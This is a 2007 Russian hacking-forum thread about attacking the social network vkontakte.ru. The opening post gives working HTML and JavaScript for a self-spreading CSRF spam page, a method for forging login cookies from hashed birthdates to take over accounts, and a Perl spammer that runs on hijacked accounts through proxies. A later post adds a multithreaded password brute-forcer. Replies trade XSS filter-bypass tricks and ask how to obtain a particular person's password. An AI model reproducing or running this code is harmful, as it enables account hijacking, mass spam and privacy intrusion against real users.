Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)
-   -   Некоторые баги vkontakte.ru (https://forum.antichat.xyz/showthread.php?t=45578)

lord_of_keyboard 29.07.2007 16:09

Некоторые баги vkontakte.ru
 
Интро

Привет, котятки! Сегодня мы попробуем заняться паразитизмом на довольно крупном сервисе vkontakte.ru. Сервис страдает от огромного количества всевозможных проблем с безопасностью и просто багов.
Рассмотрим пару самых занятных багов, может быть, напишем флудер/спаммер.

1. Занимательный javascript

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&to_id=1&title=&message=Hello.
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
Код HTML:

<frameset ROWS="100%,0%,0%">
<FRAME NAME="mainfrm" SRC="http://www.183.ru/2/">
<FRAME NAME="preved" SRC="preved.html">
<FRAME NAME="timer" SRC="timer.html">
</frameset>

2) preved.html
Код HTML:

<html><head></head><body></body></html>
3) timer.html
Код HTML:

<head>
<script>
function timer() {
var msg = new String();
var msg_to ;
do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя
msg=urlencode('Превед!'); // наше сообщение 8)
msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены
// отправим наше сообщение
parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg;
setTimeout("timer()", 1250); // И поставим сами себя на таймер
}
</script>
</head>
<body>

<script>
timer();
</script>
</body>

Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.by.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет 8)

2. Проблемы с безопасностью

В куке не проверяется e-mail. Единственное условие - переменная remixemail должна быть непустой. Что, собственно, это нам даёт? Рассмотрим пример: посмотрим, скажем, на пользователя http://vkontakte.ru/profile.php?id=196. Замечательный пользователь. Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

Откроем страницу vkontakte.ru и - оп! - мы пользователь с id=196. Не хватает только адреса почты. Раньше его можно было посмотреть на странице настроек, но теперь это дело прикрыли. Тем не менее, если он нужен, то его можно получить при попытке смены почты - на оба ящика придёт письмо с указанием обоих адресов. Не красиво, ибо жертва его тоже получит, но если пароль подойдёт к мыльнику - можно будет его удалить.

3. Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби 8)
Код:

#!/usr/bin/perl

#
# By lord_of_keyboard, 2007.
#

use IO::Socket;
use Digest::MD5 qw (md5_hex);

sub add_child {
        my $proxy=shift;
        my $acc=shift;
        my $pid = fork();
        if ($pid) { # parent
                push(@children, $pid.":".time());
        } elsif ($pid == 0) { # child
                $proxy=~s/[\r\n ]//g; $acc=~s/[\r\n ]//g;
                my ($host, $port) = split(":",$proxy);
                my ($id, $password, $shit) = split(":", $acc);
                my $cookie="remixmid=$id; remixemail=bill_gates%40microsoft.com; remixpass=".md5_hex($password);
                my $post_id=int(rand(400000));               
                my $text = "Я тебя люблю ";

                for $i (1..int(rand(10)+1)){ $text.=")"; }
                $text.="\n http://l-0-v-e.by.ru/";
                $text =~s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
               
                my $get = "GET http://vkontakte.ru/notes.php?act=s&nid=$post_id HTTP/1.0\r\n".
                    "Host: vkontakte.ru\r\n".
                    "Accept: */*\r\n".
                    "Content-Type: application/x-www-form-urlencoded\r\n".
                    "Referer: http://vkontakte.ru/\r\n".
                    "User-Agent: Internet Explorer 6.0\r\n".
                    "Cookie: $cookie\r\n".
                    "Connection: close\r\n\r\n";
   
                my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
                print $sock $get;
                while ($html = <$sock>){
                    if ($html =~ /name="blog_id"/gi){
                        $html=~m/(\d+)/gi;
                        $blog_id = $1;
                    }
                }
                close $sock;
                sleep(1);

                $request = "blog_id=$blog_id&post_id=$post_id&act=addComment&comment=$text";
                $comment = "POST http://vkontakte.ru/notes.php HTTP/1.1\r\n".
                    "Host: vkontakte.ru\r\n".
                    "Accept: */*\r\n".
                    "Content-Type: application/x-www-form-urlencoded\r\n".
                    "Content-Length: ".length($request)."\r\n".
                    "Referer: http://vkontakte.ru/\r\n".
                    "User-Agent: Internet Explorer 6.0\r\n".
                    "Cookie: $cookie\r\n".
                    "Connection: close\r\n\r\n$request";
                my $sock = IO::Socket::INET->new(Proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
   
                print $sock $comment;
                while (<$sock>){ print; }
                close $sock;

                exit(0); # bailing out 8)
        } else {
                die "couldn't fork: $!\n";
        }
}

sub next_plz {
        $proxy_offset++; $acc_offset++;
        if ($proxy_offset>$#{@proxies}){ $proxy_offset=0; }
        if ($acc_offset>$#{@accs}){ $acc_offset=0; }
}

print "Hello, master. I am ready to serve you.\n\n";

open(FILE,"<proxies.txt"); @proxies=<FILE>; close FILE;
open(FILE,"<accs.txt");    @accs=<FILE>;    close FILE;

@children=(); $acc_offset=0; $proxy_offset=0;
for my $i (1..10) { add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz; }

while (1){
        print "There are ".(@children)." of us.\n";
        for my $i (0..$#{@children}) {
                my $child=@children[$i];
                my ($pid,$time)=split(":",$child);
                my $status = waitpid($pid, -1);
                if ($status>=0) {
                        if (time()-$time>30) {
                                kill($pid); # time has come to die, r.i.p.
                        } # if
                } else {
                splice(@children,$i,1);
                add_child(@proxies[$proxy_offset], @accs[$acc_offset]); next_plz;
                }
        } # foreach
sleep(2);
}

Заключение

Всё написанное выше - не более, чем описание некоторого опыта. Может кому-то пригодится, может, возможно использовать где-то ещё.
By C!klodoL & lord_of_keyboard, 2007.

Constantine 29.07.2007 17:31

А что это за проект такой, что "некоторые" баги на нем тянут аж на целую статью?

Feshh 29.07.2007 17:32

нугде то была тема что вконтакте спонсирует ФСБ )

AN_Known 29.07.2007 18:47

Цитата:

Сообщение от Feshh
нугде то была тема что вконтакте спонсирует ФСБ )

:eek:

LolFEm 29.07.2007 19:16

Цитата:

Сообщение от lord_of_keyboard

Взглянем на дату рождения - 05.01.1984. Захешируем стоку "05011984" алгоритмом md5, получим a99fa18a6d54dfda21c15fa3f5fe2aac. Составим куку вручную:

remixmid=196; remixemail=bill_gates%40microsoft.com; remixpassword=a99fa18a6d54dfda21c15fa3f5fe2aac;

хм... всегда казалось было что в Мд5 идёт пароль пользователя а не дата рождения.... и в кукисах пароль висит...

C!klodoL 29.07.2007 19:20

Цитата:

Сообщение от LolFEm
хм... всегда казалось было что в Мд5 идёт пароль пользователя а не дата рождения.... и в кукисах пароль висит...

смысл в том что многие юзеры используют в качестве пароля дату рождения или другой легко запоминающийся пароль, в кукисах висит мд5 хэш пароля

+toxa+ 29.07.2007 19:44

/me не увидел ни одного бага в статье

1) спамер
2) тупость юзеров
3) флудер

genom-- 29.07.2007 19:50

аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем

KSURi 29.07.2007 21:09

Цитата:

Сообщение от genom--
аргументирую - уже пол года вижу различные флудеры и спамеры для этого сервиса - со всеми вытикающими - я уже молчу об остальных багах на нем

дай ссылку на парочку разных
и баги опиши, можно в пм

+toxa+ 29.07.2007 21:59

Цитата:

Сообщение от lord_of_keyboard
Не-е-е-ет, то что в куке мыло проверяется кука - это ни разу не баг. И то, что ты не зная мыла можешь залогиниться - это тоже. Ага.

Ну как бы я тут как таковых вообще ни одного "бага" не увидел=\

Xex 29.07.2007 23:19

если бы не заключение, то был бы смысл критиковать

Termin@L 30.07.2007 21:20

Слушай, ну если ты не знаешь пароль хрен ты залогинишься, а e-mail не нужен это баг, однако сам по себе он ничего не даёт... Но знать не помешает.
Вообще - интересно есть ли на вконтакте что-нить серьёзное, насколько я знаю в паблике ничего нет... Было бы интересно узнать, как никак 4 по посещаемости сайт рунета
P.S. Сам тестил ничего не нашёл, но я слабоват в поиске багов)))

LoneWolf666 30.07.2007 21:31

Хы статья крайне бесполезная и багов там действительно нет.
В любом случае, в контакте не такой уж и прокачанный проект. вот если бы всплыли уязвимости на материнском проекте, тогда другое дело

everm1nd 31.07.2007 12:03

Цитата:

Сообщение от Feshh
нугде то была тема что вконтакте спонсирует ФСБ )

Если это правда, то vkontakte - большой honeypot, только не для глупых червей и вирей, а для обычных хакеров. Смастырили сайтец, сидят, читают логи, а тех, кто на него без прокси заходил берут на заметку...
Не знаю на счёт контакта, но то, что ресурсы такой направленности действительно существуют - я уверен...

blackybr 31.07.2007 12:18

Автор сайта -
Цитата:

Павел Дуров известен в рунете как создатель самого крупного студенческого форума и других околостуденческих проектов. Закончил Санкт-Петербургский государственный университет в мае 2006 года. Лауреат стипендии Президента РФ, лауреат стипендии Правительства РФ, троекратный лауреат стипендии Владимира Потанина, победитель олимпиад по лингвистике, информатике и дизайну. С осени 2006 года большую часть времени отдаёт ВКонтакте.ру - Национальному Каталогу Студентов, работа над которым не прекращается ни на один день.
Занимается программированием с 11 лет.
от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )

[53x]Shadow 01.08.2007 00:45

Цитата:

Сообщение от blackybr
Автор сайта -

от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )

Надеюсь сайт СПбГУ не он поднимал =\
https://forum.antichat.ru/showpost.php?p=365054&postcount=2252

lord_of_keyboard 01.08.2007 02:04

Павел Дуров - вообще филолог по образованию. Его брат - да, занимал, но он не принимал непосредственного участия в разработке.
И багов там было навалом. Самые критические просто в самом начале прикрыли.

MASMAS 01.08.2007 20:47

http://img73.imageshack.us/img73/8652/8989798779ux7.jpg

George767 02.08.2007 07:45

Цитата:

Сообщение от blackybr
Автор сайта -

от себя добавлю что он на чемпе мира по программированию занял толи 2ое толи2ое место.. вот и решайте где там могут быть баги )


Ага, а то что проект полностью содан вот отсюда это как?
http://www.facebook.com

Однако все лавры Павлику достались

G1yuK 15.08.2007 02:52

Кстати на cnews.ru была новость

"Исходный код главной страницы сайта обмена фотографиями Facebook был опубликован неизвестным в блоге Facebook Secrets, сообщил Techcrunch.

Предполагалось, что код был получен либо при помощи эксплуатации уязвимости в движке сайта, либо это была утечка со стороны одного из разработчиков. Но представитель Facebook Брэнди Баркер (Brandee Barker) пояснил, что код оказался доступен небольшому числу пользователей в результате ошибки настройки сервера, которая была очень быстро устранена. Сервер работал таким образом, что php-код не выполнялся, а отображался как текст. Ни хакеры, ни инсайдеры не имеют к этому отношение.

Инцидент может навредить ресурсу: во-первых, код могут использовать хакеры для поиска уязвимостей, во-вторых, код могут использовать конкуренты, чтобы узнать больше о том, как работает Facebook."

Может Павлик даже больше чем просто программист=)

C!klodoL 15.08.2007 03:19

так как народ стучит в аську и спрашивает почему не работает скрипт, выкладываю исправленную версию, так как баг с куками прикрыли теперь нужно знать мыло
Код:

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

##########################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
##########################################
$dic = 'pass.txt';                #словарь паролей
$id = 111111;                #id цели
$mail = 'mail%40mail.com';        #мыло, вместо @ вписать %40
$threads = 4;                #количество потоков
##########################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
        "Host: vkontakte.ru\r\n".
        "Accept: */*\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Mozillo\r\n".
            "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
            "Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass  $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
        my (@mas);
        while (<pass>){
        push @mas, $_;
        last if (@mas > 500);
        }
        chomp @mas;
        return @mas;
}

Цитата:

Может Павлик даже больше чем просто программист=)
сегодня заметил что у павлика миранда даже ip не скрывает 8)

gergi 07.09.2007 17:16

Можно украсть cookies пользователя и поставить их на свою машину, как это сделано на примере mail.ru. Только как их тиснуть?

edos 04.10.2007 00:46

кто поднаторел в этом деле может мне помоч, надо узнать пас чела там

davis 06.10.2007 15:37

Интересно, а узнать мыло можно? Не прибегая к соц. инженерии... :rolleyes:

lsass.exe 06.10.2007 22:21

Нашел пару ошибок:
http://vkontakte.ru/invite.php?m=1&email[]=&first_name[]=&last_name[]=
Параметр "m" можно указать самому
http://vkontakte.ru/invite.php?m=2&email[]=&first_name[]=&last_name[]=
http://vkontakte.ru/invite.php?m=3&email[]=&first_name[]=&last_name[]=
http://vkontakte.ru/invite.php?m=4&email[]=&first_name[]=&last_name[]=

+ при ретриве пасса на мыло можно указать что угодно,и будет показано сообщение об успешной отправке )

В принципе ничего серьезного,так мелочи

Benzin 07.10.2007 02:31

Xss бы.., эх..

davis 07.10.2007 02:44

Цитата:

Сообщение от lsass.exe
Нашел пару ошибок:
http://vkontakte.ru/invite.php?m=1&email[]=&first_name[]=&last_name[]=
Параметр "m" можно указать самому
http://vkontakte.ru/invite.php?m=2&email[]=&first_name[]=&last_name[]=
http://vkontakte.ru/invite.php?m=3&email[]=&first_name[]=&last_name[]=
http://vkontakte.ru/invite.php?m=4&email[]=&first_name[]=&last_name[]=

+ при ретриве пасса на мыло можно указать что угодно,и будет показано сообщение об успешной отправке )

В принципе ничего серьезного,так мелочи

А по подробнее, плиз... реально интересно... ;)

ыть 05.11.2007 10:05

а никто не задумывался как смотреть закрытые альбомы?
ведь если просто так жипегу он показывает значит ничего такого сильно сложного тама нет... вопрос только как к самой пикче подобраться

phol1eadeux 06.11.2007 22:33

Там есть группа <script language="JavaScript">alert("xak")</script>. Они этот вопрос поднимали уже. Поищи в обсуждениях

C!klodoL 07.11.2007 04:24

Цитата:

Сообщение от ыть
а никто не задумывался как смотреть закрытые альбомы?
ведь если просто так жипегу он показывает значит ничего такого сильно сложного тама нет... вопрос только как к самой пикче подобраться

раньше можно было смотреть просто изменив ссылку, сейчас по моему уже нет

ыть 07.11.2007 09:49

Цитата:

Сообщение от C!klodoL
раньше можно было смотреть просто изменив ссылку, сейчас по моему уже нет

не совсем так
можно было смотреть альбомы у закрытых анкет, т.е. если анкета закрыта для все кроме какой то группы то альбомы этой анкеты увидеть можно было, но недавно прикрыли и это...
однако если в превьюхе закрытого альбома есть пикча, то можно эту картинку увидеть в нормальном размере, достаточно изменить в названии картинки m на x, но тут возникает вопрос как смотреть дальше то... ибо имена картинок идут непонятно как... сдается мне что используется в именовании чтото типа хэширования или чего то подобного.. но вот как это для того чтобы раскрутить всю цепочку... это вопрос...

_Master- 19.11.2007 23:06

http://vkontakte.ru/profile.php Заходим в свой профиль и пишем у себя на стене
Код:

!test
=)

TrypoED 19.11.2007 23:13

Цитата:

Сообщение от _Master-
http://vkontakte.ru/profile.php Заходим в свой профиль и пишем у себя на стене
Код:

!test
=)

nice :] alert forever :)

Solide Snake 19.11.2007 23:18

Цитата:

Сообщение от _Master-
http://vkontakte.ru/profile.php Заходим в свой профиль и пишем у себя на стене
Код:

!test
=)

Кстати это прокатывает и на стенах других пользователей.

VERte][ 19.11.2007 23:38

ну вообще, как я понял катит всё что начинается с ! , а вот что с этим дальше сделать...

movejump 20.11.2007 01:02

есть xss активная в друзьях- http://vkontakte.ru/friend.php в быстром поиске.

C!klodoL 20.11.2007 01:06

Цитата:

Сообщение от movejump
есть xss активная в друзьях- http://vkontakte.ru/friend.php в быстром поиске.

боян, всё равно там она никуда не передаётся

VERte][ 21.11.2007 02:03

вообще там очень интересная фильтрация
1)если написать в тексте на стене && (или ++), причём даже если не подряд, то после второго символа &(+), все удалится вместе с ним
2)потом бывает фигня что когда запишешь что-то типа &!&!&! то выводится сообщение:"Ваше сообщение добавлено", которое закрывает всю стену, после обновления этого сообщения вообще нет, но это бывает не всегда
3)если написать javascript то фильтр изменит это на javas?1?ript
4)если шифровать javascript в url системе то выведется %6Aavascript
5)если написать только // то оно не выводится, хотя пишут, что сообщение отправлено, наверно это связано с автоопределением ссылки
вот так вот, так что они там нехилую фильтрацию поставили=)

lord_of_keyboard 22.11.2007 09:33

Фигня, все эти фильтры так или иначе обходятся.

+toxa+ 22.11.2007 14:28

Цитата:

Сообщение от Vertexe
4)если шифровать javascript в url системе то выведется %6Aavascript

мона просто сделать
PHP код:

hekscript:alert(/xss/) 

тока вот это тока в ие будет работать)

PS странно, в фф тож сработало)


Время: 08:18